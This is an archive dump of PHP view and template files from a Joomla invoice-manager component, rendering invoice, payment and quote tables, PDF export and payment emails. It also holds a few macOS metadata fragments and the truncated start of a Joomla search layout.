$params = JComponentHelper::getParams( 'com_invoices' );
if($template->content_pdf) $template->content =
$template->content_pdf ;
$this->assignRef('invoice', $invoice);
$this->assignRef('template', $template);
$this->assignRef('items', $items);
$this->assignRef('taxes', $taxes);
$this->assignRef('payments', $payments);
$this->assignRef('payments2', $payments2);
$this->assignRef('params', $params);
$plantilla = 'email' ;
$html = $this->loadTemplate($plantilla);
$search = array("€", "¢", "£",
"¤", "¥");
$replace = array("€", "¢",
"£", "¤", "¥");
$html = str_replace($search, $replace, $html);
$html = mb_convert_encoding($html, 'HTML-ENTITIES',
'UTF-8');
$html = utf8_decode($html);
$html = '<!DOCTYPE HTML>
<html>
<body>
<style>
'.$this->template->styles.'
</style>'
. $html .
'</body></html>';
$options = new Options();
$options->set( 'isRemoteEnabled', TRUE );
$dompdf = new Dompdf($options);
$dompdf->set_paper('a4');
$dompdf->load_html($html);
$dompdf->render();
$dompdf->stream($invoice->invoice_num . ".pdf");
//trigger event
$import = JPluginHelper::importPlugin( 'invoices' );
$dispatcher = JDispatcher::getInstance();
$dispatcher->trigger( 'onExportPDFInvoice', array( $invoice
) );
exit();
}
}
?>
invoice/view.html.php000064400000004374151165730260010644 0ustar00<?php
/*------------------------------------------------------------------------
# com_invoices - Invoice Manager for Joomla
# ------------------------------------------------------------------------
# author Germinal Camps
# copyright Copyright (C) 2012 - 2016 JoomlaThat.com. All Rights
Reserved.
# @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.joomlathat.com
# Technical Support: Forum - http://www.joomlathat.com/support
-------------------------------------------------------------------------*/
//no direct access
defined('_JEXEC') or die('Restricted access.');
jimport( 'joomla.application.component.view');
jimport( 'joomla.html.html');
class InvoicesViewInvoice extends JViewLegacy
{
public $_path = array(
'template' => array(),
'helper' => array()
);
public $_layout = 'default';
public $template = "";
function display($tpl = null)
{
$mainframe = JFactory::getApplication();
$pathway = $mainframe->getPathway();
$document = JFactory::getDocument();
$uri = JFactory::getURI();
$invoice = $this->get( 'Data');
$template = $this->get( 'Template');
$items = $this->get( 'Items');
$taxes = $this->get( 'Taxes');
$payments = $this->get( 'Payments');
$payments2 = $this->get( 'Payments2');
$params = JComponentHelper::getParams( 'com_invoices' );
$this->assignRef('invoice', $invoice);
$this->assignRef('template', $template);
$this->assignRef('items', $items);
$this->assignRef('taxes', $taxes);
$this->assignRef('payments', $payments);
$this->assignRef('payments2', $payments2);
$this->assignRef('params', $params);
if($invoice->id){
$document->setTitle( JText::_('INVOICE'). " " .
$invoice->invoice_num );
}
// if(JRequest::getVar('tmpl') == 'component'){
if(false){
$this->setLayout('component');
$document->addStyleSheet("https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css");
$document->addStyleSheet("administrator/components/com_invoices/assets/libs/bootstrap/css/bootstrap-glyphicons.css");
}
else{
//TODO: This solved a bug that don't load bootstrap on invoice
modal. Maybe there is a better way to solve it
$document->addStyleSheet("media/jui/css/bootstrap.min.css");
}
parent::display($tpl);
}
}
?>
invoice/view.pdf.php000064400000005442151165730260010446 0ustar00<?php
/*------------------------------------------------------------------------
# com_invoices - Invoice Manager for Joomla
# ------------------------------------------------------------------------
# author Germinal Camps
# copyright Copyright (C) 2012 - 2016 JoomlaThat.com. All Rights
Reserved.
# @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.joomlathat.com
# Technical Support: Forum - http://www.joomlathat.com/support
-------------------------------------------------------------------------*/
//no direct access
defined('_JEXEC') or die('Restricted access.');
jimport( 'joomla.application.component.view');
/**
* HTML Article View class for the Content component
*
* @package Joomla
* @subpackage Content
* @since 1.5
*/
class InvoicesViewInvoice extends JViewLegacy
{
function display($tpl = null)
{
$mainframe = JFactory::getApplication();
$pathway = $mainframe->getPathway();
$document = JFactory::getDocument();
$uri = JFactory::getURI();
$this->invoice = $this->get( 'Data');
$this->template = $this->get( 'Template');
$this->items = $this->get( 'Items');
$this->taxes = $this->get( 'Taxes');
$params = JComponentHelper::getParams( 'com_invoices' );
// set document information
//$document->setTitle($article->title);
//$document->setName($article->alias);
//$document->setDescription($article->metadesc);
//$document->setMetaData('keywords', $article->metakey);
// prepare header lines
//$document->setHeader($this->_getHeaderText($invoice, $params));
require(JPATH_SITE . DS . 'components' . DS .
'com_invoices' . DS . 'views' . DS .
'invoice' . DS . 'tmpl' . DS . 'default.php'
);
//echo $invoice->to_name;
}
function _getHeaderText(& $article, & $params)
{
// Initialize some variables
$text = '';
// Display Author name
if ($params->get('show_author')) {
// Display Author name
$text .= "\n";
$text .= JText::sprintf( 'Written by',
($article->created_by_alias ? $article->created_by_alias :
$article->author) );
}
if ($params->get('show_create_date') &&
$params->get('show_author')) {
// Display Separator
$text .= "\n";
}
if ($params->get('show_create_date')) {
// Display Created Date
if (intval($article->created)) {
$create_date = JHTML::_('date', $article->created,
JText::_('DATE_FORMAT_LC2'));
$text .= $create_date;
}
}
if ($params->get('show_modify_date') &&
($params->get('show_author') ||
$params->get('show_create_date'))) {
// Display Separator
$text .= " - ";
}
if ($params->get('show_modify_date')) {
// Display Modified Date
if (intval($article->modified)) {
$mod_date = JHTML::_('date', $article->modified,
JText::_('DATE_FORMAT_LC2'));
$text .= JText::_('Last Updated').' '.$mod_date;
}
}
return $text;
}
}
?>invoices/.DS_Store000064400000014004151165730260010053
0ustar00Bud1 x.html
index.htmlIlocblob!������tmplIlocblob�!������tmplbwspblob�bplist00�
]ShowStatusBar[ShowPathbar[ShowToolbar[ShowTabView_ContainerShowSidebar\WindowBounds\SidebarWidth[ShowSidebar _{{938,
178}, {1360,
948}}� '3?Kbo|���������tmplvSrnlong
view.html.phpIlocblobz!������
@� @� @� @E DSDB
`� @� @�
@invoices/index.html000064400000000054151165730260010365
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>invoices/tmpl/.DS_Store000064400000014004151165730260011027
0ustar00Bud1�ult.phdefault.phpIlocblob!������
index.htmlIlocblob�!������ @�
@� @� @E�DSDB `
@� @�
@invoices/tmpl/default.php000064400000033716151165730260011514
0ustar00<?php // no direct access
/*------------------------------------------------------------------------
# com_invoices - Invoice Manager for Joomla
# ------------------------------------------------------------------------
# author Germinal Camps
# copyright Copyright (C) 2012 - 2016 JoomlaThat.com. All Rights
Reserved.
# @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.joomlathat.com
# Technical Support: Forum - http://www.joomlathat.com/support
-------------------------------------------------------------------------*/
//no direct access
defined('_JEXEC') or die('Restricted access.');
$payment_status = InvoicesHelper::getPaymentStatus();
$user = JFactory::getUser();
?>
<h1><?php echo JText::_('INVOICES_TITLE');
?></h1>
<form action="index.php" method="get"
name="adminForm">
<div class="table_scrolls">
<table class="table table-striped table-hover
items_table_responsive">
<thead>
<tr class="headerfinances">
<th width="12%"
class="hidden-phone"><?php echo JHTML::_(
'grid.sort', 'INVOICE_DATE',
'i.invoice_date', $this->lists['order_Dir'],
$this->lists['order']); ?></th>
<th width="12%"><?php echo
JText::_('INVOICE_NUM'); ?></th>
<th width="15%"
class="hidden-phone"><?php echo
JText::_('TO_NAME'); ?></th>
<th width="10%" align="right"
class="totals"><?php echo JText::_('SUBTOTAL');
?></th>
<th width="10%" align="right"
class="totals"><?php echo JText::_('TOTAL');
?></th>
<th width="10%" align="right"
class="hidden-phone"><?php echo
JText::_('PAYMENTS'); ?></th>
<th width="10%" align="right"
class="totals"><?php echo
JText::_('AMOUNT_PAID'); ?></th>
<th width="10%"></th>
</tr>
</thead>
<?php $k = 1;
$number = $this->pagination->limitstart + 1 ;
$total_global = 0 ;
if(count($this->items)){
for ($i = 0, $n=count( $this->items ); $i < $n; $i++) {
$total_payments = $this->items[$i]->total_paid +
$this->items[$i]->total_unpaid ;
$class = "";
if(round($this->items[$i]->total_paid,2) <
round($this->items[$i]->total,2)) $class = " notontime";
else $class = " ontime";
?>
<tr class="linefinances<?php echo $k; ?>
lineinvoice" id="lineinvoice_<?php echo $i; ?>" >
<td class="hidden-phone"><?php echo
JHTML::_('date', $this->items[$i]->invoice_date,
JText::_('d/m/y'), false); ?></td>
<td><?php echo $this->items[$i]->invoice_num;
?></td>
<td class="hidden-phone"><?php echo
$this->items[$i]->to_name; ?></td>
<td align="right"
class="amount"><?php echo
InvoicesHelper::format($this->items[$i]->subtotal,
$this->currencies[$this->items[$i]->currency_id]);
?></td>
<td align="right"
class="amount"><?php echo
InvoicesHelper::format($this->items[$i]->total,
$this->currencies[$this->items[$i]->currency_id]);
?></td>
<td align="right"
class="hidden-phone">
<?php echo
JHTML::image('components/com_invoices/assets/images/view_price_details.png',
JText::_('VIEW_INVOICE_PAYMENTS'), array("title" =>
JText::_('VIEW_INVOICE_PAYMENTS'), "class" =>
"payments_button hasTooltip", "id" =>
"payments_button_".$i, "data-original-title" =>
JText::_('VIEW_INVOICE_PAYMENTS'), "rel" =>
"tooltip")); ?>
<span class="num_payments label <?php echo
$this->items[$i]->paid_payments ? "label-success" :
""; ?>" title="<?php echo
$this->items[$i]->paid_payments; ?> <?php echo
JText::_('NUM_PAYMENTS_PAID'); ?>::<?php echo
JText::_('TOTAL_AMOUNT'); ?>: <?php echo
InvoicesHelper::format($this->items[$i]->total_paid,
$this->currencies[$this->items[$i]->currency_id]);
?>"><?php echo $this->items[$i]->paid_payments;
?></span>
<span class="num_payments label <?php echo
$this->items[$i]->unpaid_payments_ontime ? "label-warning"
: ""; ?>" title="<?php echo
$this->items[$i]->unpaid_payments_ontime; ?> <?php echo
JText::_('NUM_PAYMENTS_UNPAID_ONTIME'); ?>::<?php echo
JText::_('TOTAL_AMOUNT'); ?>: <?php echo
InvoicesHelper::format($this->items[$i]->total_unpaid_ontime,
$this->currencies[$this->items[$i]->currency_id]);
?>"><?php echo
$this->items[$i]->unpaid_payments_ontime; ?></span>
<span class="num_payments label <?php echo
($this->items[$i]->unpaid_payments -
$this->items[$i]->unpaid_payments_ontime) ?
"label-important" : ""; ?>"
title="<?php echo ($this->items[$i]->unpaid_payments -
$this->items[$i]->unpaid_payments_ontime); ?> <?php echo
JText::_('NUM_PAYMENTS_UNPAID'); ?>::<?php echo
JText::_('TOTAL_AMOUNT'); ?>: <?php echo
InvoicesHelper::format(($this->items[$i]->total_unpaid -
$this->items[$i]->total_unpaid_ontime),
$this->currencies[$this->items[$i]->currency_id]);
?>"><?php echo ($this->items[$i]->unpaid_payments -
$this->items[$i]->unpaid_payments_ontime); ?></span>
</td>
<td align="right" class="<?php echo
$class; ?> amount"><?php echo
InvoicesHelper::format($this->items[$i]->total_paid,
$this->currencies[$this->items[$i]->currency_id]);
?></td>
<td><?php echo
InvoicesHelper::view_modal_button($this->items[$i]->id); ?>
<?php echo
InvoicesHelper::view_online_button($this->items[$i]->id); ?>
<?php echo
InvoicesHelper::download_pdf_button($this->items[$i]->id); ?>
<?php echo
InvoicesHelper::send_email_button($this->items[$i]->id);
?></td>
</tr>
<?php
$k = 3 - $k;
$number++;
}
}
else{ ?>
<tr class="linefinances1" >
<td align="center" colspan="8"><?php
echo JText::_('NO_INVOICES_AVAILABLE'); ?></td>
</tr>
<?php } ?>
<tfoot>
<tr class="footfinances">
<td class="hidden-phone"></td>
<td></td>
<td class="hidden-phone"></td>
<td></td>
<td></td>
<td class="totals"
align="right"></td>
<td class="hidden-phone"></td>
<td class="totals"
align="right"></td>
</tr>
</tfoot>
</table>
</div>
<input type="hidden" name="option"
value="com_invoices" />
<input type="hidden" name="view"
value="invoices" />
<input type="hidden" name="filter_order"
value="<?php echo JRequest::getVar('filter_order');
?>" />
<input type="hidden" name="filter_order_Dir"
value="<?php echo JRequest::getVar('filter_order_Dir');
?>" />
<div class="pagination" align="center">
<?php echo $this->pagination->getListFooter(); ?> </div>
</form>
<h2><?php echo JText::_('PAYMENTS_TITLE');
?></h2>
<p><?php echo JText::sprintf('PAYMENTS_EXPLANATION',
JHTML::image('components/com_invoices/assets/images/view_price_details.png',
JText::_('VIEW_INVOICE_PAYMENTS'))); ?> <a class="btn
pull-right disabled" id="allpayments_button"
href="javascript:see_all_payments()"><?php echo
JText::_('SEE_ALL_PAYMENTS'); ?></a></p>
<div class="table_scrolls">
<table class="table table-striped table-hover
items_table_responsive">
<thead>
<tr class="headerfinances">
<th width="12%"><?php echo
JText::_('INVOICE_NUM'); ?></th>
<th width="12%"
class="hidden-phone"><?php echo
JText::_('DUE_DATE'); ?></th>
<th width="12%"
class="hidden-phone"><?php echo
JText::_('PAYMENT_DATETIME'); ?></th>
<th width="10%"
class="hidden-phone"><?php echo
JText::_('PAYMENT_METHOD'); ?></th>
<th width="12%" align="right"
class="amount"><?php echo
JText::_('PAYMENT_AMOUNT'); ?></th>
<th width="5%" class="hidden-phone"
class="amount"><?php echo JText::_('PAID');
?></th>
<th width="15%" ><?php echo
JText::_('STATUS'); ?></th>
<th width="12%"></th>
</tr>
</thead>
<?php
$total_global = 0 ;
if(count($this->items)){
for ($i = 0, $n=count( $this->items ); $i < $n; $i++) {
$class = "";
if(count($this->items[$i]->payments)){
foreach($this->items[$i]->payments as $payment){
$thestatus = InvoicesHelper::getThePaymentStatus($payment) ;
switch($thestatus){
case 0:
$class = " payment_notontime";
$trclass = "error";
break;
case 1:
$class = " payment_paid";
$trclass = "success";
break;
case 2:
$class = " payment_unpaid_ontime";
$trclass = "warning";
break;
case 3:
$class = " payment_pending";
$trclass = "";
break;
}
$statuslabel =
InvoicesHelper::render_status_payment($thestatus) ;
$link_payment =
JRoute::_('index.php?option=com_invoices&view=payment&id='.$payment->id);
?>
<tr class="paymentline payment_<?php echo $i; ?>
linefinances<?php echo $k; ?> <?php echo $class; ?> <?php
echo $trclass; ?>" >
<td><?php echo $this->items[$i]->invoice_num;
?></td>
<?php if($payment->payment_duedate == "0000-00-00
00:00:00") {$text = JText::_('NOT_SETTED'); $td_class =
"notsetted";} else {$text = JHTML::_('date',
$payment->payment_duedate, JText::_('DATE_FORMAT_PAYMENTS'),
false); $td_class = "";} ?>
<td class="hidden-phone duedateline <?php echo
$td_class; ?>"><?php echo $text; ?></td>
<?php if($payment->payment_datetime == "0000-00-00
00:00:00") {$text = JText::_('NOT_SETTED'); $td_class =
"notsetted";} else {$text = JHTML::_('date',
$payment->payment_datetime, JText::_('DATE_FORMAT_PAYMENTS'),
false); $td_class = "";} ?>
<td class="hidden-phone <?php echo $td_class;
?>"><?php echo $text; ?></td>
<?php if($payment->payment_type == "") {$text
= JText::_('NOT_SPECIFIED'); $td_class = "notsetted";}
else {$text = JText::_($payment->payment_type); $td_class =
"";} ?>
<td class="hidden-phone <?php echo $td_class;
?>"><?php echo $text; ?></td>
<td align="right" class="amount
text-right"><?php echo
InvoicesHelper::format($payment->payment_amount,
$this->currencies[$this->items[$i]->currency_id]);
?></td>
<td class="hidden-phone"><?php echo
$payment->payment_status ? JText::_('JYES') :
JText::_('JNO'); ?></td>
<td class="statussentence"><?php echo
$statuslabel; ?></td>
<td><?php if( !$payment->payment_status) {
?><a class=" btn btn-small btn-block" href="<?php
echo $link_payment; ?>"><i
class="icon-arrow-right"></i> <?php echo
JText::_('PAY'); ?></a><?php } else{ ?><a
class="btn-block btn btn-small" href="<?php echo
$link_payment; ?>"><i
class="icon-eye-open"></i> <?php echo
JText::_('VIEW_PAYMENT_DETAILS'); ?></a><?php } ?>
</td>
</tr>
<?php
}
}
}
}
else{ ?>
<tr class="linefinances1" >
<td align="center" colspan="8"><?php
echo JText::_('NO_PAYMENTS_AVAILABLE'); ?></td>
</tr>
<?php } ?>
<tfoot>
<tr class="footfinances">
<td></td>
<td class="hidden-phone"></td>
<td class="hidden-phone"></td>
<td class="hidden-phone"></td>
<td class="totals"
align="right"></td>
<td class="hidden-phone "></td>
<td></td>
<td></td>
</tr>
</tfoot>
</table>
</div>
<h1><?php echo JText::_('QUOTES_TITLE');
?></h1>
<div class="table_scrolls">
<table class="table table-striped table-hover
items_table_responsive">
<thead>
<tr class="headerfinances">
<th width="12%"
class="hidden-phone"><?php echo JHTML::_(
'grid.sort', 'QUOTE_DATE', 'i.invoice_date',
$this->lists['order_Dir'],
$this->lists['order']); ?></th>
<th width="12%"><?php echo
JText::_('QUOTE_NUM'); ?></th>
<th width="15%"
class="hidden-phone"><?php echo
JText::_('TO_NAME'); ?></th>
<th width="10%" align="right"
class="totals"><?php echo JText::_('SUBTOTAL');
?></th>
<th width="10%" align="right"
class="totals"><?php echo JText::_('TOTAL');
?></th>
<th width="10%" align="right"
class="totals"><?php echo JText::_('STATUS');
?></th>
<th width="10%"></th>
</tr>
</thead>
<?php $k = 1;
$total_global = 0 ;
if(count($this->quotes)){
for ($i = 0, $n=count( $this->quotes ); $i < $n; $i++) {
?>
<tr class="linequote<?php echo $k; ?> linequote"
id="linequote_<?php echo $i; ?>" >
<td class="hidden-phone"><?php echo
JHTML::_('date', $this->quotes[$i]->invoice_date,
JText::_('d/m/y'), false); ?></td>
<td><?php echo $this->quotes[$i]->invoice_num;
?></td>
<td class="hidden-phone"><?php echo
$this->quotes[$i]->to_name; ?></td>
<td align="right" class="amount"><?php
echo InvoicesHelper::format($this->quotes[$i]->subtotal,
$this->currencies[$this->quotes[$i]->currency_id]);
?></td>
<td align="right" class="amount"><?php
echo InvoicesHelper::format($this->quotes[$i]->total,
$this->currencies[$this->quotes[$i]->currency_id]);
?></td>
<td align="right" ><?php echo
InvoicesHelper::render_status($this->quotes[$i]->status);
?></td>
<td><?php echo
InvoicesHelper::view_modal_button($this->quotes[$i]->id); ?>
<?php echo
InvoicesHelper::view_online_button($this->quotes[$i]->id); ?>
<?php echo
InvoicesHelper::download_pdf_button($this->quotes[$i]->id); ?>
<?php echo
InvoicesHelper::send_email_button($this->quotes[$i]->id,'quote');
?></td>
</tr>
<?php
$k = 3 - $k;
$number++;
}
}
else{ ?>
<tr class="linefinances1" >
<td align="center" colspan="7"><?php echo
JText::_('NO_QUOTES_AVAILABLE'); ?></td>
</tr>
<?php } ?>
<tfoot>
<tr class="footfinances">
<td class="hidden-phone"></td>
<td></td>
<td class="hidden-phone"></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tfoot>
</table>
</div>
<br />
<?php
if(JRequest::getVar('option') != 'com_easysocial') {
$modules = JModuleHelper::getModules("invoices_bottom");
$document = JFactory::getDocument();
$renderer = $document->loadRenderer('module');
$attribs = array();
$attribs['style'] = 'xhtml';
foreach ( @$modules as $mod )
{
echo $renderer->render($mod, $attribs);
}
}
?>
<div align="center"><?php echo
InvoicesHelper::showInvoicesFooter(); ?></div>
invoices/tmpl/default.xml000064400000000425151165730260011514
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="My invoices Layout"
hidden="false">
<message>
My invoices
</message>
</layout>
<state>
<name>My invoices</name>
<description>My invoices</description>
<params>
</params>
</state>
</metadata>invoices/tmpl/index.html000064400000000054151165730260011341
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>invoices/tmpl/simple.php000064400000006655151165730260011363
0ustar00<?php // no direct access
/*------------------------------------------------------------------------
# com_invoices - Invoice Manager for Joomla
# ------------------------------------------------------------------------
# author Germinal Camps
# copyright Copyright (C) 2012 - 2016 JoomlaThat.com. All Rights
Reserved.
# @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.joomlathat.com
# Technical Support: Forum - http://www.joomlathat.com/support
-------------------------------------------------------------------------*/
//no direct access
defined('_JEXEC') or die('Restricted access.');
?>
<h1><?php echo JText::_('INVOICES_TITLE');
?></h1>
<form action="index.php" method="get"
name="adminForm">
<div class="table_scrolls">
<table class="table table-striped table-hover
items_table_responsive">
<thead>
<tr class="headerfinances">
<th width="20%"><?php echo JHTML::_(
'grid.sort', 'INVOICE_DATE',
'i.invoice_date', $this->lists['order_Dir'],
$this->lists['order']); ?></th>
<th width="15%"><?php echo
JText::_('INVOICE_NUM'); ?></th>
<th width="15%"><?php echo
JText::_('TO_NAME'); ?></th>
<th width="20%" align="right"><?php
echo JText::_('SUBTOTAL'); ?></th>
<th width="20%" align="right"><?php
echo JText::_('TOTAL'); ?></th>
<th width="10%"></th>
</tr>
</thead>
<?php $k = 1;
$number = $this->pagination->limitstart + 1 ;
$total_global = 0 ;
if(count($this->items)){
for ($i = 0, $n=count( $this->items ); $i < $n; $i++) {
?>
<tr class="linefinances<?php echo $k; ?>" >
<td><?php echo JHTML::_('date',
$this->items[$i]->invoice_date,
JText::_('DATE_FORMAT_LC3'), false); ?></td>
<td><?php echo $this->items[$i]->invoice_num;
?></td>
<td><?php echo $this->items[$i]->to_name;
?></td>
<td align="right"><?php echo
InvoicesHelper::format($this->items[$i]->subtotal,
$this->items[$i]->currency_before,
$this->items[$i]->currency_after); ?></td>
<td align="right"><?php echo
InvoicesHelper::format($this->items[$i]->total,
$this->items[$i]->currency_before,
$this->items[$i]->currency_after); ?></td>
<td><?php echo
InvoicesHelper::view_modal_button($this->items[$i]->id); ?>
<?php echo
InvoicesHelper::view_online_button($this->items[$i]->id); ?>
<?php echo
InvoicesHelper::download_pdf_button($this->items[$i]->id); ?>
<?php echo
InvoicesHelper::send_email_button($this->items[$i]->id);
?></td>
</tr>
<?php $k = 3 - $k;
$number++;
}
}
else{ ?>
<tr class="linefinances1" >
<td align="center" colspan="6"><?php
echo JText::_('NO_INVOICES_AVAILABLE'); ?></td>
</tr>
<?php } ?>
<tfoot>
<tr class="footfinances">
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td class="totals"
align="right"></td>
</tr>
</tfoot>
</table>
</div>
<input type="hidden" name="option"
value="com_invoices" />
<input type="hidden" name="view"
value="invoices" />
<input type="hidden" name="filter_order"
value="<?php echo JRequest::getVar('filter_order');
?>" />
<input type="hidden" name="filter_order_Dir"
value="<?php echo JRequest::getVar('filter_order_Dir');
?>" />
<div class="pagination" align="center"> <?php
echo $this->pagination->getListFooter(); ?> </div>
</form>
<div align="center"><?php echo
InvoicesHelper::showInvoicesFooter(); ?></div>
invoices/view.html.php000064400000004250151165730260011020 0ustar00<?php
/*------------------------------------------------------------------------
# com_invoices - Invoice Manager for Joomla
# ------------------------------------------------------------------------
# author Germinal Camps
# copyright Copyright (C) 2012 - 2016 JoomlaThat.com. All Rights
Reserved.
# @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.joomlathat.com
# Technical Support: Forum - http://www.joomlathat.com/support
-------------------------------------------------------------------------*/
//no direct access
defined('_JEXEC') or die('Restricted access.');
jimport( 'joomla.application.component.view');
class InvoicesViewInvoices extends JViewLegacy
{
public $_path = array(
'template' => array(),
'helper' => array()
);
function display($tpl = null)
{
$mainframe = JFactory::getApplication();
$uri = JFactory::getURI();
$pathway = $mainframe->getPathway();
$document = JFactory::getDocument();
$params = JComponentHelper::getParams( 'com_invoices' );
$items = $this->get( 'Data');
$quotes = $this->get( 'Quotes');
$pagination = $this->get('Pagination');
$currencies = InvoicesHelper::getCurrencies();
$this->assignRef('items', $items);
$this->assignRef('quotes', $quotes);
$this->assignRef('pagination', $pagination);
$this->assignRef('params', $params);
$this->assignRef('currencies', $currencies);
$filter_order = $mainframe->getUserStateFromRequest(
'filter_order', 'filter_order',
'i.invoice_date', 'cmd' );
$filter_order_Dir = $mainframe->getUserStateFromRequest(
'filter_order_Dir', 'filter_order_Dir',
'desc', 'word' );
$lists['date_in'] = $this->get( 'DateIn');
$lists['date_out'] = $this->get( 'DateOut');
$lists['order'] = $filter_order;
$lists['order_Dir'] = $filter_order_Dir;
$this->assignRef( 'lists', $lists );
JHtmlBehavior::framework();
JHTML::_('behavior.modal');
$document->addStyleSheet( $uri->base() .
'components/com_invoices/assets/styles.css');
$document->addScript( $uri->base() .
'components/com_invoices/assets/slide.js');
$this->setLayout($params->get('layout',
'default'));
parent::display($tpl);
}
}
?>
payment/tmpl/default_email.php000064400000007253151165730270012517
0ustar00<?php // no direct access
/*------------------------------------------------------------------------
# com_invoices - Invoice Manager for Joomla
# ------------------------------------------------------------------------
# author Germinal Camps
# copyright Copyright (C) 2012 - 2016 JoomlaThat.com. All Rights
Reserved.
# @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.joomlathat.com
# Technical Support: Forum - http://www.joomlathat.com/support
-------------------------------------------------------------------------*/
//no direct access
defined('_JEXEC') or die('Restricted access.');
$user = JFactory::getUser();
// MULTI LANGUAGE
if($this->payment->language){
$lang = JFactory::getLanguage();
$lang->load('joomla', JPATH_SITE,
$this->payment->language, true);
$lang->load('com_invoices', JPATH_SITE,
$this->payment->language, true);
}
$payment_status = InvoicesHelper::getPaymentStatus();
switch($this->payment->towho){
case "user":
$theusername = $this->payment->theusername ;
break;
case "admin":
$theusername = JText::_('ADMINISTRATOR') ;
break;
}
switch($this->payment->payment_status){
case 1:
$themessage = JText::_( 'EMAIL_PAYMENT_SUCCESSFULL' );
break;
case 2:
$themessage = JText::_( 'EMAIL_PAYMENT_PENDING' );
break;
case 0:
$themessage = JText::_( 'EMAIL_PAYMENT_UNSUCCESSFULL' );
break;
}
?>
<?php echo JText::sprintf( 'EMAIL_PAYMENT_SALUTATION',
$theusername ); ?><br /><br />
<?php echo $themessage; ?><br /><br />
<strong><?php echo JText::_( 'USER_DETAILS' );
?></strong>:<br /><br />
<?php echo JText::_( 'USERNAME' ); ?>: <?php echo
$this->payment->username; ?><br />
<?php echo JText::_( 'EMAIL' ); ?>: <?php echo
$this->payment->to_email; ?><br />
<br />
<strong><?php echo JText::_( 'PAYMENT_DETAILS' );
?></strong>:<br /><br />
<?php echo JText::_( 'PAYMENT_AMOUNT' ); ?>: <?php echo
InvoicesHelper::format($this->payment->payment_amount,
$this->payment->currency_before,
$this->payment->currency_after); ?><br />
<?php echo JText::_( 'PAYMENT_CREATION' ); ?>: <?php
if($this->payment->created_datetime == "0000-00-00
00:00:00") echo JText::_('NOT_SETTED'); else echo
JHTML::_('date', $this->payment->created_datetime,
JText::_('DATE_FORMAT_LC3'), false); ?><br />
<?php echo JText::_( 'PAYMENT_DUEDATE' ); ?>: <?php
if($this->payment->payment_duedate == "0000-00-00
00:00:00") echo JText::_('NOT_SETTED'); else echo
JHTML::_('date', $this->payment->payment_duedate,
JText::_('DATE_FORMAT_LC3'), false); ?><br />
<?php echo JText::_( 'PAYMENT_DATETIME' ); ?>: <?php
if($this->payment->payment_datetime == "0000-00-00
00:00:00") echo JText::_('NOT_SETTED'); else echo
JHTML::_('date', $this->payment->payment_datetime,
JText::_('DATE_FORMAT_LC3'), false); ?><br />
<?php echo JText::_( 'PAYMENT_DESCRIPTION' ); ?>: <?php
echo $this->payment->payment_description; ?><br />
<?php echo JText::_( 'PAYMENT_METHOD' ); ?>: <?php echo
JText::_($this->payment->payment_type); ?><br />
<?php echo JText::_( 'PAID' ); ?>: <?php echo
$this->payment->payment_status ? JText::_('JYES') :
JText::_('JNO'); ?><br />
<?php echo JText::_( 'STATUS' ); ?>: <?php echo
$payment_status[$this->payment->payment_status]; ?><br />
<br />
<strong><?php echo JText::_( 'INVOICE_DETAILS' );
?></strong>:<br /><br />
<?php echo JText::_( 'INVOICE_NUM' ); ?>: <?php echo
JText::_($this->payment->invoice_num); ?><br />
<?php echo JText::_( 'INVOICE_DATE' ); ?>: <?php
if($this->payment->invoice_date == "0000-00-00 00:00:00")
echo JText::_('NOT_SETTED'); else echo JHTML::_('date',
$this->payment->invoice_date, JText::_('DATE_FORMAT_LC3'),
false); ?><br />
<br />
<div align="center"><?php echo
InvoicesHelper::showInvoicesFooter();
?></div>search/tmpl/default.php000064400000002357151166655720011147
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_finder
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
JHtml::_('formbehavior.chosen');
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
JHtml::_('stylesheet', 'com_finder/finder.css',
array('version' => 'auto', 'relative'
=> true));
?>
<div class="finder<?php echo $this->pageclass_sfx;
?>">
<?php if ($this->params->get('show_page_heading')) :
?>
<h1>
<?php if
($this->escape($this->params->get('page_heading'))) :
?>
<?php echo
$this->escape($this->params->get('page_heading')); ?>
<?php else : ?>
<?php echo
$this->escape($this->params->get('page_title')); ?>
<?php endif; ?>
</h1>
<?php endif; ?>
<?php if ($this->params->get('show_search_form', 1)) :
?>
<div id="search-form">
<?php echo $this->loadTemplate('form'); ?>
</div>
<?php endif; ?>
<?php // Load the search results layout if we are performing a search.
?>
<?php if ($this->query->search === true) : ?>
<div id="search-results">
<?php echo $this->loadTemplate('results'); ?>
</div>
<?php endif; ?>
</div>
search/tmpl/default.xml000064400000013442151166655720011155
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TITLE">
<help
key = "JHELP_MENUS_MENU_ITEM_FINDER_SEARCH"
/>
<message>
<![CDATA[COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TEXT]]>
</message>
</layout>
<fields name="request"
addfieldpath="/administrator/components/com_finder/models/fields">
<fieldset name="request">
<field
name="q"
type="text"
label="COM_FINDER_SEARCH_SEARCH_QUERY_LABEL"
description="COM_FINDER_SEARCH_SEARCH_QUERY_DESC"
size="30"
/>
<field
name="f"
type="searchfilter"
label="COM_FINDER_SEARCH_FILTER_SEARCH_LABEL"
description="COM_FINDER_SEARCH_FILTER_SEARCH_DESC"
default=""
/>
</fieldset>
</fields>
<fields name="params"
addfieldpath="/administrator/components/com_finder/models/fields">
<fieldset name="basic">
<field
name="show_date_filters"
type="list"
label="COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL"
